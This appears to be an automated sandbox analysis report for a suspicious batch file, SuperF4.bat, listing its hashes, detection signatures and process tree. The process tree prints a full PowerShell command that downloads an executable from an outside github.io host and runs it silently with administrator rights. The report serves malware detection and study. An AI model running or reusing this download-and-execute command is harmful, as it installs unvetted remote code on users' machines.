Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08/09/2024, 12:02

General

  • Target

    Files/Apps/SuperF4.bat

  • Size

    534B

  • MD5

    561400dc8a63d4b4cc87cabac9e8422a

  • SHA1

    69502ed43cf6e495c060fac70a5ef37f4f15ca53

  • SHA256

    767bccd41110d92c69bba5aaceea296f7e0b61fd1f9e09a3fa1ed08e8a8b8282

  • SHA512

    8c3efaedb0c9d7bc9de04dbe0d9c2b7a33b2b40a2f0836e719aabdf6197d2c4cdeece3b5eb0276f3484236dc99b797d63324ababa5dd1d4220af693910f12046

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\SuperF4.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c chcp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\system32\chcp.com
        chcp
        3⤵
          PID:2844
      • C:\Windows\system32\chcp.com
        chcp 65001
        2⤵
          PID:2860
        • C:\Windows\system32\chcp.com
          chcp 437
          2⤵
            PID:2872
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "& { $Path = $env:TEMP; $Installer = 'SuperF4.exe'; Invoke-WebRequest 'https://schooicodes.github.io/file_hosting/SuperF4.exe' -OutFile $Path\$Installer; Start-Process -FilePath $Path\$Installer -ArgumentList '/silent', '/install' -Verb RunAs -Wait; Remove-Item $Path\$Installer }"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2972

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2972-4-0x000007FEF55EE000-0x000007FEF55EF000-memory.dmp

          Filesize

          4KB

        • memory/2972-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

          Filesize

          2.9MB

        • memory/2972-6-0x00000000028E0000-0x00000000028E8000-memory.dmp

          Filesize

          32KB

        • memory/2972-7-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2972-8-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2972-9-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2972-10-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2972-11-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2972-12-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB